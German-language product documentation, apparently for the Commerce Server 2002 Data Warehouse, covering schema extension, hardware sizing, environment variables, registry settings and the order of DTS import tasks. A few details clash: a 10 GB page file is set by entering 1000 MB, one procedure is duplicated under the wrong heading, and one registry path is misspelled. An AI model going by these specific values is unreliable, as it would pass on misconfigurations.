Die Importfunktionen des Data Warehouse sind auf den Import von Daten auf Grundlage der Standardeinstellungen von Commerce Server ausgelegt. Wie Sie die Data Warehouse-Datenbank für den Import neuer Daten erweitern, richtet sich nach der Art der zu importierenden Daten. Wenn Sie beispielsweise Produktkatalogeigenschaften hinzufügen, veranlassen Sie durch Festlegen des Attributs Daten für Analyse speichern im "Katalogdefinitions-Designer" das Data Warehouse, die für die Übernahme der neuen Daten erforderliche Schemaänderung vorzunehmen.

Wenn Sie andere Arten von Daten in das Data Warehouse importieren möchten, müssen Sie es physisch erweitern. Beispielsweise könnten Sie das Data Warehouse erweitern, um Umsatzdaten aus einem Ladengeschäft zu importieren. Zusätzlich erstellen Sie einen benutzerdefinierten Bericht für die neuen Daten, mit dem Sie den online und im Ladengeschäft erzielten Umsatz analysieren könnten.

In der folgenden Tabelle wird beschrieben, wie Sie das Data Warehouse zur Aufnahme neuer Daten erweitern können.

Art der zu importierenden Daten Verfahren zur Erweiterung des Data Warehouse
Neue Transaktionseigenschaft Wählen Sie mithilfe der Tabelle TransDimension in der Commerce-Datenbank aus, welche Transaktionseigenschaften in das Data Warehouse importiert werden. Mit dem DTS-Transaktionsdatenimport-Task wird das Schema der Data Warehouse-Datenbank automatisch zur Aufnahme der neuen Transaktionseigenschaft erweitert.

Hinweis

  • Löschen Sie nicht die Standarddatensätze aus der Tabelle TransDimension. Diese Aktion ist nicht erprobt, und es ist unbekannt, welche Auswirkungen sie hat. Fügen Sie dieser Tabelle ausschließlich neue Datensätze hinzu, und löschen Sie auch nur diese neuen Datensätze aus der Tabelle.

Informationen zum Erweitern des Data Warehouse für den Import von Transaktionseigenschaften finden Sie unter Auswählen der Transaktionseigenschaften für den Import.
Neue Katalogeigenschaft Wählen Sie für die Eigenschaft in der Katalogdefinition das Attribut Daten für Analyse speichern aus. Mit dem DTS-Produktkatalogimport-Task wird das Schema der Data Warehouse-Datenbank automatisch zur Aufnahme der neuen Katalogeigenschaft erweitert.

Informationen zum Erweitern des Data Warehouse für den Import von Katalogeigenschaften finden Sie unter Auswählen der Katalogeigenschaften für den Import.

Zusätzliche Informationen finden Sie im Whitepaper "Extending the Commerce Server Data Warehouse / Analytics" (nur auf Englisch verfügbar), das von der Seite Development der Commerce Server-Website http://go.microsoft.com/fwlink/?LinkId=945 abrufbar ist.


Empfohlene Vorgehensweisen für das Data Warehouse

In diesem Thema finden Sie die empfohlenen Vorgehensweisen für die Bereitstellung, die Konfiguration, den Import und die Verwaltung des Data Warehouse.

Dieser Abschnitt beinhaltet folgende Themen:

  • Tipps zur Bereitstellung
  • Tipps zur Konfiguration
  • Tipps zum Import
  • Tipps zur Wartung


Tipps zur Bereitstellung

  • Um optimale Leistungsparameter zu gewährleisten, sollte das Data Warehouse auf drei Computern und Business Desk auf einem vierten Computer bereitgestellt werden.
    Computer Softwareanforderungen Hardware
    (große Sites)     		Hardware
    (mittlere Sites)
    1. Protokollimport Commerce Server 2002
    Data Warehouse-Ressource (entpacken)
    Analysis Services-Clienttools     		8 Prozessoren
    4 GB RAM
    200 GB Festplattenspeicher (Minimum)     		4 Prozessoren
    4 GB RAM
    100 GB Festplattenspeicher
    2. Data Warehouse SQL Server 2000
    SQL Server Client Tools
    Commerce Server 2002
    Data Warehouse-Resource (entpacken)     		8 Prozessoren
    4 GB RAM
    200 GB Festplattenspeicher (Minimum)     		4 Prozessoren
    4 GB RAM
    100 GB Festplattenspeicher
    3. Analysis-Server Analysis-Server
    Commerce Server
    Data Warehouse-Ressource (entpacken)     		4 Prozessoren
    4 GB RAM
    100 GB oder mehr Festplattenspeicher für die OLAP-Datenbank     		4 Prozessoren
    4 GB RAM
    100 GB oder mehr Festplattenspeicher für die OLAP-Datenbank

    Analysis Services muss auf dem Computer installiert sein, auf dem die Data Warehouse-Ressource entpackt wird. Nachdem die Ressource entpackt wurde, können Sie Analysis Services wieder entfernen. Beispielsweise können Sie Analysis Services auf dem Computer installieren, auf dem auch Commerce Server Site Packager ausgeführt wird. Die Data Warehouse-Ressource kann jedoch auch auf einem anderen Computer entpackt werden. Nach Abschluss des Entpackvorgangs können Sie Analysis Services wieder von dem Computer entfernen, auf dem Site Packager ausgeführt wurde.

    Auf dem Computer, auf dem die DTS-Importtasks ausgeführt werden, müssen die Analysis Services-Clienttools installiert werden.

  • Legen Sie auf dem Analysis-Server die Größe der Auslagerungsdatei für umfangreiche Daten auf 10 GB fest.

    Mit dieser Konfiguration kann Analysis-Server bei der Verarbeitung großer Cubes einen umfangreichen virtuellen Adressbereich reservieren. Von Analysis-Server werden alle Dimensionsdaten zwischengespeichert.

    So legen Sie die Größe der Auslagerungsdatei unter Windows 2000 fest:

    1. Klicken Sie auf dem Desktop mit der rechten Maustaste auf Arbeitsplatz, und wählen Sie Eigenschaften aus.
    2. Klicken Sie auf der Registerkarte Erweitert des Dialogfelds Systemeigenschaften auf die Schaltfläche Systemleistungsoptionen.
    3. Im Bereich Reaktionsgeschwindigkeit der Anwendungen des Dialogfelds Systemleistungsoptionen muss die Option Hintergrunddienste aktiviert sein.
    4. Klicken Sie im Bereich Virtueller Arbeitsspeicher auf Ändern.
    5. Geben Sie im Bereich Größe der Auslagerungsdatei für ein bestimmtes Laufwerk im Dialogfeld Virtueller Arbeitsspeicher in das Feld Maximale Größe (MB) den Wert 1000 ein, und klicken Sie dann auf Festlegen.
    6. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.
  • Stellen Sie die Data Warehouse-Datenbank, die Transaktionsprotokolldatei sowie die Auslagerungsdatei auf verschiedenen Laufwerken bereit.

    Durch diese Konfiguration wird der Datendurchsatz verbessert, indem ein gleichzeitiger Zugriff verschiedener Nutzer auf das physische Gerät ermöglicht wird.

  • Verwenden Sie zur Vereinfachung der Wartung und zur Leistungssteigerung die Dateigruppenfunktion von SQL Server.

    Die Dateigruppenfunktion hilft Ihnen, die Datenlast gleichmäßig auf mehrere Festplatten zu verteilen und zur Verbesserung des Datenzugriffs parallele Threads zu verwenden. Wenn Sie über ein- und ausgabeintensive Hardware verfügen, kann die Verwendung der Dateigruppenfunktion von SQL Server u. U. sinnvoll sein. Um zu bestimmen, ob Ihre Hardware ein- und ausgabeintensiv ist, schlagen Sie in der Windows 2000-Hilfe unter den Schlüsselwörtern "Leistungsindikatoren physischer Datenträger" nach.

    Sie können beispielsweise die Tabellen Request, Visit und VisitInfo in drei verschiedene Dateigruppen einordnen. (Teilen Sie Benutzerprotokollierung/URI in eine separate Dateigruppe ein, wenn diese Dimensionen zu groß sind). Legen Sie Aggregate in separaten Dateigruppen ab. Informationen zu Dateigruppen finden Sie unter Erstellen neuer Data Warehouse-Dateigruppen.

  • Um Fehler durch unzureichenden Speicher im Data Warehouse-Ereignisprotokoll zu vermeiden, geben Sie in der Datei "Boot.ini" von Windows 2000 auf dem Hostcomputer des Data Warehouse (SQL Server) und auf dem Hostcomputer des Analysis-Server den entsprechenden Schalter für 3 GB Speicher an.

    Wenn Sie eine umfangreiche Site betreiben, werden Speicherfehler ausgegeben, falls für den Prozess zum Import der Webserverprotokolle nicht genügend virtueller Arbeitsspeicher zur Verfügung steht. Um diesen Fehler zu vermeiden, aktivieren Sie den 3-GB-Schalter in der Datei Boot.ini von Windows 2000.

    Zur Aktivierung des 3-GB-Schalters sind zwei Schritte erforderlich:

    1. Bearbeiten Sie die Datei Boot.ini. Weitere Informationen zum 3-GB-Schalter finden Sie in der Hilfe zu Windows 2000 Advanced Server.
    2. Bearbeiten Sie die ausführbare Datei durch Ausführung der Protokollimport-DLL. Je nachdem, auf welche Weise Sie die Daten in das Data Warehouse importieren, müssen Sie die entsprechende ausführbare Datei anpassen.

    Entsprechende Anweisungen finden Sie unter Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site.

    Für Analysis Services müssen Sie außerdem anstelle des Standardwertes eine höhere Prozesspuffergröße festlegen. Legen Sie die Puffergröße auf 2 GB fest, und weisen Sie dem physischen Arbeitsspeicher 4 GB zu.

  • Legen Sie zur Verbesserung der Importleistung die Dateigröße der Data Warehouse-Datenbank fest.
Eine automatische Vergrößerung der Datenbankdatei vermindert die Importleistung des Data Warehouse erheblich. Durch Vergrößerung der Datenbank reduziert sich der Aufwand für die Erweiterung der Datenbank zur Laufzeit. Die Größe der Data Warehouse-Datenbank wird berechnet, indem die Gesamtgröße der Protokolldatei durch 2 geteilt wird. Die Verwendung einer festen Dateigröße verhindert die erhebliche Reduzierung der Importleistung, die durch eine Vergrößerung der Datenbankdatei verursacht wird.

So verhindern Sie die automatische Vergrößerung der Datei

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die Data Warehouse-Datenbank, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften von Datenbank auf der Registerkarte Datendateien im Bereich Maximale Dateigröße im Feld Beschränkt auf (MB) die Option Beschränkt auf (MB) aus, geben Sie die maximale Größe der Datenbank ein, und klicken Sie dann auf OK.
Wenn Sie die automatische Dateivergrößerungsfunktion von SQL Server benutzen möchten, legen Sie für die Data Warehouse-Datenbank anstelle eines Prozentwertes eine bestimmte Größe für die Vergrößerung fest. Dadurch können Sie die Größe der Datenbank und die Festplattenkapazität genauer kontrollieren.

So legen Sie die Dateivergrößerungsparameter der Data Warehouse-Datenbank fest

  1. Erweitern Sie in SQL Server-Enterprise Manager eine Servergruppe und dann einen Server.
  2. Erweitern Sie Datenbanken, klicken Sie mit der rechten Maustaste auf die Data Warehouse-Datenbank, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften von Datenbank auf der Registerkarte Datendateien im Bereich Maximale Dateigröße im Feld Beschränkt auf (MB) die Option Beschränkt auf (MB) aus, geben Sie die maximale Größe der Datenbank ein, und klicken Sie dann auf OK.
  • Verwenden Sie nur die Standardinstanz von SQL Server auf dem Produktionsserver.
Führen Sie zur Leistungssteigerung nur eine Instanz von SQL Server auf dem Produktionsserver aus.
  • Setzen Sie die Umgebungsvariable "StoreClientIP" nur dann auf "True", wenn Sie keine IP-Adressen in Berichten erfassen müssen.

    So legen Sie die Variable "StoreClientIP" fest

    1. Klicken Sie auf dem Desktop mit der rechten Maustaste auf Arbeitsplatz, und wählen Sie Eigenschaften aus.
    2. Klicken Sie auf der Registerkarte Erweitert im Dialogfeld Systemeigenschaften auf Umgebungsvariablen.
    3. Klicken Sie im Bereich Benutzervariablen des Dialogfelds Umgebungsvariablen auf Neu.
    4. Führen Sie im Dialogfeld Neue Benutzervariable folgende Schritte aus:
      Funktion | Aktion
      Name der Variablen | Geben Sie StoreClientIP ein.
      Wert der Variablen | Geben Sie True ein.
    5. Klicken Sie auf OK.

    Durch bestehende, während des Zurücksetzens einer neuen Umgebungsvariable ausgeführte Prozesse können keine Prozesse aktualisiert werden, die zu diesem Zeitpunkt noch ausgeführt werden.

  • Legen Sie die "UseExternalReferrerForInference"-Umgebungsvariable auf "False" fest, um für den Import offene Benutzerbesuche nur durch Timeout zu beenden.
Commerce Server erkennt einzelne Besuche in einer Site anhand der Verweiserdomäne, von der aus ein Besucher die Site aufruft, und anhand eines konfigurierbaren Timeoutwertes für den Besuch (der Standardwert ist 30 Minuten), nach dessen Ablauf der Commerce Server den Besuch als beendet betrachtet. Andere Protokollanalyseprogramme berechnen Besuche ausschließlich anhand eines 30-minütigen Timeouts. Legen Sie die UseExternalReferrerForInference-Umgebungsvariable auf False fest, um Besuche ausschließlich anhand 30-minütiger Timeouts zu berechnen.
In Commerce Server setzt sich der interne Verweiser aus den Eigenschaften Nicht sicherer Hostname und IIS-Anwendungspfad zusammen. Bei der Protokollverarbeitung enthält das Verweiserfeld der W3C-Protokolldatei (cs(referrer)) für jede Zeile des Protokolls einen URI. Commerce Server vergleicht das Präfix des W3C-Verweiserfeldes mit dem internen Verweiser. Bei Übereinstimmung betrachtet Commerce Server den Zugriff als einen Zugriff, der einem Verweis von einer externen Site folgte, und den aktuellen Benutzerbesuch als beendet.

So setzen Sie die "UseExternalReferrerForInference"-Umgebungsvariable auf "False"

  1. Klicken Sie mit der rechten Maustaste auf Arbeitsplatz, und klicken Sie auf Eigenschaften.
  2. Klicken Sie auf der Registerkarte Erweitert im Dialogfeld Systemeigenschaften auf Umgebungsvariablen.
  3. Klicken Sie im Dialogfeld Umgebungsvariablen im Bereich Systemvariablen auf Neu.
  4. Führen Sie im Dialogfeld Neue Systemvariable folgende Schritte aus:
    Funktion | Aktion
    Name der Variablen | Geben Sie UseExternalReferrerForInference ein.
    Wert der Variablen | Geben Sie F ein.
  5. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.
  • Wenn Commerce Server nicht so konfiguriert wird, dass alle internen Domänen einer Site erkannt werden, führt dies möglicherweise zu einer verfälschten hohen Anzahl der Besuche.
Commerce Server erkennt einzelne Besuche einer Site anhand der Verweiserdomäne, von der aus ein Besucher die Site aufruft, und anhand eines konfigurierbaren Timeoutwertes (der Standardwert ist 30 Minuten). Wenn Commerce Server nicht so konfiguriert wird, dass alle internen Domänen einer Site erkannt werden, betrachtet Commerce Server die Domänen, die nicht als interne Domänen konfiguriert werden, als externe Verweiser und bezieht sie in die Berechnung neuer Besuche ein.
Wenn der Wert der UseExternalReferrerForInference-Umgebungsvariablen auf F (False) festgelegt wird, wird die Prüfung auf externe Verweiser für die Berechnung der Besuche deaktiviert.
Wenn Sie den Webprotokollimport über eine Befehlszeile aufrufen, können Sie mithilfe der folgenden Anweisung die UseExternalReferrerForInference-Umgebungsvariable für die betreffende Befehlsshell auf False festlegen und die Prüfung auf externe Verweiser für die Berechnung von Besuchen deaktivieren:
   set UseExternalReferrerForInference=F
Wenn Sie die UseExternalReferrerForInference-Umgebungsvariable auf T (True) festlegen, wird beim Webprotokollimport von Commerce Server wieder auf externe Verweiser geprüft.


Tipps zur Konfiguration

  • Wenn Sie mit mehreren Anwendungen und Protokolldateien arbeiten, können Sie den DTS-Webserverprotokollimport-Task auch mit einem Skript (anstelle der Benutzeroberfläche) konfigurieren.

    Eine entsprechende Anleitung finden Sie unter Erstellen eines Skripts für den DTS-Webserverprotokollimport-Task.

  • Führen Sie bei einer Änderung der Konfigurationseinstellungen Ihrer Site den DTS-Konfigurationssynchronisations-Task aus.

    Der DTS-Konfigurationssynchronisations-Task wird zum Import der Konfigurationsdaten der Site aus der Verwaltungsdatenbank in das Data Warehouse verwendet. Dadurch unterscheidet sich dieser Task von der Funktion der Schaltfläche Werte synchronisieren im Dialogfeld Anwendungseigenschaften. Beim Klicken auf diese Schaltfläche liest Commerce Server die Werte aus der IIS-Metabasis (Internetinformationsdienste-Metabasis) zunächst in die Verwaltungsdatenbank und anschließend aus dieser in das Data Warehouse ein. Weitere Informationen finden Sie unter Konfigurieren einer Anwendung.

    Zur Leistungsoptimierung werden im Data Warehouse die Konfigurationsdaten der Site gespeichert. Unter anderem werden Topologieeinstellungen der Site gespeichert, sodass diese bei Bedarf nicht immer wieder aus der Verwaltungsdatenbank ausgelesen werden müssen.

    Sie können das Data Warehouse wahlweise mit einer einzelnen Site oder mit sämtlichen dem Data Warehouse zugeordneten Sites synchronisieren. Der Synchronisationstask muss vor den DTS-Tasks zum Import oder Löschen von Daten ausgeführt werden. Anweisungen zur Ausführung des DTS-Konfigurationssynchronisations-Tasks finden Sie unter Ausführen des DTS-Konfigurationssynchronisations-Tasks.

    •

  • Prüfen Sie den Standardwert der "FirstDayOfWeek"-Eigenschaft in Ihrer Version von SQL Server, um den Wochenbeginn für Berichte zu bestimmen.

    Bei wöchentlichen Aggregationen von Analyseberichten verwendet Commerce Server den standardmäßigen Wochenanfangstag der verwendeten Sprachversion von SQL Server. In der US-amerikanischen Version von SQL Server ist Sonntag der standardmäßige Wochenbeginn.

    In Analyseberichten wird die im Commerce Server-Manager angegebene Eigenschaft Erster Tag der Woche nicht verwendet.

    •

  • Falls Sie das Systemadministratorkennwort für den SQL Server ändern, auf dem sich die Data Warehouse-Datenbank befindet, müssen Sie den DTS-Transaktionsdatenimport-Task sowie den DTS-Produktkatalogimport-Task neu erstellen.

    In den DTS-Tasks wird das Systemadministratorkennwort persistent gespeichert.

    •

  • Übernehmen Sie stets die IIS-Standardoption zur Protokollierung von Daten in Greenwich-Zeit (W3C-Standardformat).

    Der Webserverprotokollimport-Task geht davon aus, dass die zu importierenden Daten in Greenwich-Zeit vorliegen, und konvertiert die Daten entsprechend. Wählen Sie niemals die IIS-Option zur Protokollierung von Daten in Ortszeit, da dies zu Problemen beim Importieren von Webserver-Protokolldateien bei Verwendung der Eigenschaft Datums-/Uhrzeitbereich führen kann.

    Geben Sie Datum und Uhrzeit bei der Konfiguration des DTS-Webserverprotokollimport-Tasks basierend auf der Eigenschaft Datum-/Uhrzeitbereich in Greenwich-Zeit an.

    •

  • Legen Sie den "IncrementalOverlap"-Wert auf die Zeitzonendifferenz plus zwei Stunden fest.
    •

Beim inkrementellen Importieren ermittelt der DTS-Transaktionsdatenimport-Task anhand des Feldes mit dem letzten Änderungsdatum in der Laufzeittabelle, wann ein Datensatz geändert wurde und in das Data Warehouse importiert werden muss. Da dieses Feld einen von Anwendungen geschriebenen Datums-/Uhrzeitwert enthält, sind die Zeitzonen und die Uhren der Systeme, die den Wert schreiben, möglicherweise nicht synchron. Das kann zu Differenzen im Feld mit dem letzten Änderungsdatum führen, aufgrund deren Datensätze beim Importieren möglicherweise übersprungen werden.

Bei Systemen, die in unterschiedlichen Zeitzonen betrieben werden, muss dieses Intervall so erhöht werden, dass das Verarbeitungsfenster die Zeitzonendifferenz plus zwei Stunden abdeckt.

Um den Standardwert (zwei Stunden) zu überschreiben, fügen Sie in der Windows NT-Registrierung folgende Werte hinzu:

DWORD : HEKY_LOCAL_MACHINE\Software\Microsoft\Commerce Server\TransactionImportDTS\IncrementalOverlap
DWORD : HKEY_LOCAL_MACHINE\Software\Microsoft\Commerce Server\ProfileDataImportDTS\IncrementalOverlap

Wenn der Registrierungswert vorhanden ist, verwendet das Data Warehouse ihn als die Stundenzahl, die von der Startzeit des letzten erfolgreichen Imports abgezogen wird, anstelle des IncrementalOverlap-Wertes.

  • Falls der DTS-Webserverprotokollimport-Task eine gewünschte Datei nicht importiert oder eine falsche Datei importiert, prüfen Sie die Konfiguration der Option "Alle Protokolldateien seit dem letzten Import importieren".

    Die Tabelle Sitezusammenfassung im Data Warehouse speichert die Daten für Anfangsdatum/-zeit und Beendigungsdatum/-zeit, die Sie im Dialogfeld Webserverprotokolle importieren angeben.

    Durch die Option Alle Protokolldateien seit letztem Import importieren wird der Wert für die Beendigungszeit aus der Tabelle Sitezusammenfassung mit dem Datum in der Webprotokolldatei verglichen. Dieser Wert wird in Ortszeit aufgezeichnet, daher müssen Sie ihn unter Umständen anpassen, da die Webprotokolldateien in Greenwich-Zeit protokolliert werden.

    •

  • Wenn die Client-IP-Adressen in eine einzelne IP-Adresse umgewandelt werden, verwenden Sie beim DTS-Webserverprotokollimport-Task entweder Cookies oder Benutzernamen für das Ableiten von Benutzern.

    Zwei DTS-Tasks sind von IP-Konvertierungen betroffen:

    • Der Webserverprotokollimport-Task. Wenn beim Ableiten von Benutzern die IP-Adresse mehrerer Benutzer in eine einzelne IP-Adresse umgewandelt wird und diese Benutzer denselben Browser verwenden, werden sie auch als ein und derselbe Benutzer behandelt.

      Wenn beispielsweise die IP-Adresse von zehn Benutzern in eine einzelne IP-Adresse konvertiert wird und jeweils fünf dieser Benutzer Browser "A" bzw. Browser "B" verwenden, werden diese zehn Benutzer als zwei Benutzer angesehen. Zu diesem Ergebnis kommt es, wenn Benutzer anhand der IP-Adresse und des Browsertyps (anstelle von Cookies oder Benutzernamen) abgeleitet werden.

      •

    • IP-Auflösungstask. Wenn mehrere IP-Adressen zu einer einzelnen IP-Adresse zusammengefasst werden, erhalten Sie unter Umständen keine genauen Domäneninformationen über alle Besucher dieser Site, da durch den IP-Auflösungstask unter Umständen für mehrere Benutzer nur nach einer IP-Adresse gesucht wird.
      •

    Informationen über die Verwendung von Cookies oder Benutzernamen zur Ableitung von Benutzern finden Sie unter Genauigkeit von Rückschlüssen.

    •

  • Wenn Sie die Drillthroughfunktion für die Berichte "Produktverkäufe" oder "Warenkorbereignisse" verwenden, ordnen Sie die einzelnen Produkte mit der gespeicherten Prozedur "CSDW_MakePrimaryProductCategoryInfo" ihrer primären übergeordneten Kategorie zu.

    Wenn Sie die Details der Berichte Produktverkäufe oder Warenkorbereignisse per Drillthrough anzeigen, werden in den Berichtsdetails u. U. mehr Elemente angezeigt, als im PivotTable-Bericht angegeben sind. Dieses Verhalten kann auftreten, wenn ein Produkt mehreren Kategorien zugeordnet ist. Dies ist gewollt. Das Produkt ist in mehreren Kategorien unter der aktuell überprüften Kategorie vorhanden.

    Wenn Sie sichergehen möchten, dass in den Drillthroughergebnissen je Produkt nur eine Zeile zurückgegeben wird, dürfen die Produkte nur jeweils einer Produktkategorie zugeordnet sein. Verwenden Sie zum Zuordnen der einzelnen Produkte zur primären übergeordneten Kategorie die gespeicherte Prozedur CSDW_MakePrimaryProductCategoryInfo. Damit gewährleisten Sie, dass die Produkte jeweils nur einer Kategorie in der Kategoriehierarchie zugeordnet werden.

    Weitere Informationen dazu finden Sie unter Verwenden von Drillthrough zum Anzeigen von Produktverkäufen oder Warenkorbereignissen.

    •


Tipps zum Import

  • Führen Sie die DTS-Tasks stets der Reihe nach aus. Starten Sie niemals zwei DTS-Tasks (oder mehrere Instanzen eines Tasks) gleichzeitig für ein bestimmtes Data Warehouse.

    Wenn zwei DTS-Tasks gleichzeitig ausgeführt werden, werden die Daten im Data Warehouse beschädigt.

  • Starten Sie die DTS-Importtasks der Reihe nach, sodass zuerst Faktdaten und anschließend Dimensionsdaten importiert werden.

    Führen Sie die DTS-Importtasks immer in der folgenden Reihenfolge aus:

    • Import von Webserverprotokollen (Faktdaten)
    • Import von Transaktionsdaten (Faktdaten)
    • Import von Produktkatalogdaten (Dimensionsdaten)
  • Wenn ein DTS-Importtask fehlschlägt oder Sie einen laufenden DTS-Importtask abbrechen, müssen Sie den DTS-Datenlöschungstask ausführen.

    Der DTS-Datenlöschungstask muss ausgeführt werden, um die importierten Daten zu löschen und die Aggregationsklassentabellen auf den Zustand vor dem Importvorgang zurückzusetzen. Wenn Sie diesen Schritt nicht ausführen, können die Aggregationen unter Umständen fehlerhaft sein.

  • Führen Sie den DTS-Webserverprotokollimport-Task nicht auf einem in Betrieb befindlichen Webserver aus. Führen Sie diesen DTS-Task auf einem separaten Computer aus, der speziell für diesen Zweck vorgesehen ist.

    Durch den DTS-Webserverprotokollimport-Task entsteht sehr viel Aktivität auf der Festplatte sowie in SQL Server, der CPU und unter Umständen im Netzwerk. Um die Auswirkungen auf andere Ressourcen zu minimieren, führen Sie den DTS-Webserverprotokollimport-Task auf einem separaten Computer aus, auf dem auch Analysis Services installiert sein kann. Führen Sie den Task nicht auf Ihrem SQL Server-Computer aus.

  • Um den Vorgang zum Import der Webserverprotokolle zu optimieren, setzen Sie die Umgebungsvariable "StoreLogUser" auf "False".

    Setzen Sie die StoreLogUser-Variable auf False, wenn Sie den DTS-IP-Auflösungstask nicht ausführen müssen und keine benutzerdefinierten Berichte erstellt werden, die auf Daten in der Tabelle LogUser zugreifen.

    Wenn Sie die StoreLogUser-Variable auf False setzen, kann dies die Verarbeitungsgeschwindigkeit um bis zu 50 % beschleunigen. In die Tabelle LogUser im Data Warehouse werden während des Importvorgangs keine Daten eingetragen.

    So legen Sie den Wert für die "StoreLogUser"-Umgebungsvariable fest

    1. Klicken Sie auf dem Data Warehouse-Server mit der rechten Maustaste auf Arbeitsplatz, und wählen Sie Eigenschaften aus.
    2. Klicken Sie auf der Registerkarte Erweitert im Dialogfeld Systemeigenschaften auf Umgebungsvariablen.
    3. Klicken Sie im Dialogfeld Umgebungsvariablen im Bereich Systemvariablen auf Neu.
    4. Geben Sie im Dialogfeld Neue Systemvariable im Feld Name der Variablen den Namen StoreLogUser und im Feld Wert der Variablen den Wert F ein.
    5. Klicken Sie dreimal auf OK, um alle Dialogfelder zu schließen.
  • Wenn Sie den DTS-Webserverprotokollimport-Task über ein Skript ausführen, geben Sie in der Datei "Boot.ini" von Windows 2000 auf dem Hostcomputer des Data Warehouse (SQL Server) und auf dem Hostcomputer von Analysis-Server einen 3-GB-Schalter an.

    Zur Aktivierung des 3-GB-Schalters sind zwei Schritte erforderlich:

    1. Bearbeiten Sie die Datei Boot.ini. Weitere Informationen zum 3-GB-Schalter finden Sie in der Hilfe zu Windows 2000 Advanced Server.
    2. Bearbeiten Sie die ausführbare Datei durch Ausführung der Protokollimport-DLL. Je nachdem, auf welche Weise Sie die Daten in das Data Warehouse importieren, müssen Sie die entsprechende ausführbare Datei anpassen.

    Eine entsprechende Anleitung finden Sie unter Ausführen des DTS-Webserverprotokollimport-Tasks für eine große Site.

  • Fassen Sie Ihre Protokolldateien jeweils tageweise vor dem Import in einem Stapel zusammen.

    Wenn Sie Ihre Protokolldateien täglich in einem Stapel zusammenfassen und dann importieren, nimmt der Importvorgang weniger Zeit in Anspruch, als wenn Sie die Protokolldateien stündlich importieren würden.

  • Führen Sie den Webprotokollimport vor der Ausführung des DTS-Berichtsvorbereitungstasks aus.

    Bei einem stündlichen Import Ihrer Webprotokolldateien sollten Sie beispielsweise immer nur einige Protokolldateien gleichzeitig importieren. Mit zunehmender Größe Ihrer Webprotokolldateien verschlechtert sich auch die Übertragungsrate in GB pro Stunde.

  • Führen Sie nach dem Import oder dem Löschen von Daten aus dem Data Warehouse den DTS-Berichtsvorbereitungstask aus.

    Mit dem DTS-Berichtsvorbereitungstask werden die OLAP-Cubes (Online Analytical Processing) mit den neuesten Site- und Benutzerdaten aus dem Data Warehouse aufgefüllt. Commerce Server 2002 verwendet OLAP-Cubes zur Verwaltung zusammengefasster, im Data Warehouse gespeicherter Daten. Dadurch können über die Analysemodelle ausgeführte Berichte schneller als ohne diesen zusätzlichen Schritt ausgeführt werden.

  • Wenn mehrere Sites gemeinsamen Zugriff auf ein Data Warehouse haben, führen Sie den DTS-Berichtsvorbereitungstask einmal aus, um die Daten für alle Sites zu verarbeiten.

    Bei der Ausführung werden durch den Berichtsvorbereitungstask alle Sites in einem Data Warehouse verarbeitet. Führen Sie den DTS-Task nicht getrennt für jede Site aus, anderenfalls wird die Leistung des Data Warehouse beeinträchtigt.

  • Um Fehlermeldungen bei der Ausführung des DTS-Berichtsvorbereitungstasks zu vermeiden, sollten Sie die Option zur Verarbeitung von Objekten ohne Daten deaktivieren.

    Durch den Berichtsvorbereitungstask werden bei der Verarbeitung von OLAP-Dimensionen und -Cubes Fehler gemeldet, falls die zum Ausfüllen dieser Objekte erforderlichen Daten nicht in das Data Warehouse importiert wurden. Die Fehlermeldung wird in folgendem Format angezeigt:

    Processing error [Source data contains no rows] <object name>

    Wenn Sie nur eine Teilmenge von Daten in das Data Warehouse importieren (beispielsweise wird der Produktkatalog-Datenimport-Task nicht ausgeführt), können Sie die Verarbeitung von Objekten ohne Daten deaktivieren. Dadurch werden keine Fehlermeldungen des Typs "[Quelldaten enthalten keine Zeilen]" mehr angezeigt.

    Um die Verarbeitung von Analysis Services-Objekten zu deaktivieren, legen Sie für die Cubes und Dimensionen, die nicht verarbeitet werden sollen, den Wert für ProcessingEnabled in den Tabellen CubeProcInfo und DimProcInfo auf 0 fest.

  • Wenn Sie eine Webfarm eingerichtet haben, erfassen Sie die Webserver-Protokolldateien auf einem lokalen Computer, bevor Sie sie in das Data Warehouse importieren.

    Durch die Erfassung der Dateien auf Ihrem lokalen Computer, auf dem der DTS-Webserverprotokollimport-Task ausgeführt wird, können Sie den Datenverkehr in Ihrem Netzwerk reduzieren. Folgende Vorgehensweise wird dabei empfohlen:

    1. Richten Sie jeden Webserver so ein, dass er seine eigenen Webprotokolldateien komprimiert.
    2. Schreiben Sie mit VBScript (Microsoft Visual Basic Scripting Edition) ein Skript, das Laufwerke zuordnet, die ZIP-Dateien in ein zentrales Verzeichnis kopiert und anschließend entpackt.
    3. Schreiben Sie ein zweites Skript (VBScript), durch das die Webprotokolldateien bereinigt werden.
    4. Erstellen Sie einen DTS-Prozessausführungstask, der das erste VBScript zum Kopieren und Entpacken der Protokolldateien ausführt. Falls eine der Protokolldateien nicht verfügbar ist oder nicht richtig komprimiert wurde, kann dieser Task nicht erfolgreich ausgeführt werden.
    5. Erstellen Sie einen zweiten DTS-Task, der das VBScript zum Bereinigen der entpackten Protokolldateien ausführt.
    6. Führen Sie den DTS-Konfigurationssynchronisations-Task und anschließend den DTS-Webserverprotokollimport-Task aus.
  • Wenn Sie mehrere Webserver bereitstellen, können Sie den Importvorgang beschleunigen, indem Sie den Wert der Umgebungsvariable "MaxHitPerBuffer" anpassen.

    Durch die MaxHitPerBuffer-Variable kann in gewissem Maße die Puffergröße im Mehrprotokoll-Datenquellenparser gesteuert werden. Der Standardwert für diese Variable beträgt 6. Sie können diese Einstellung anpassen, um die Leistung in Abhängigkeit von der Anzahl der Server in Ihrem Bereitstellungsbereich und dem Datenverkehr in Ihrer Site zu verbessern.

    Wenn Sie beispielsweise 120 Webserver betreiben und viele neue Besucher auf Ihre Site gelangen, empfiehlt es sich unter anderem, die Einstellung MaxHitPerBuffer auf 5 festzulegen; ein höherer Wert würde zuviel Speicher in Anspruch nehmen. Wenn Sie jedoch lediglich 5 Webserver unterhalten, können Sie den Wert für MaxHitPerBuffer auf 10 einstellen.

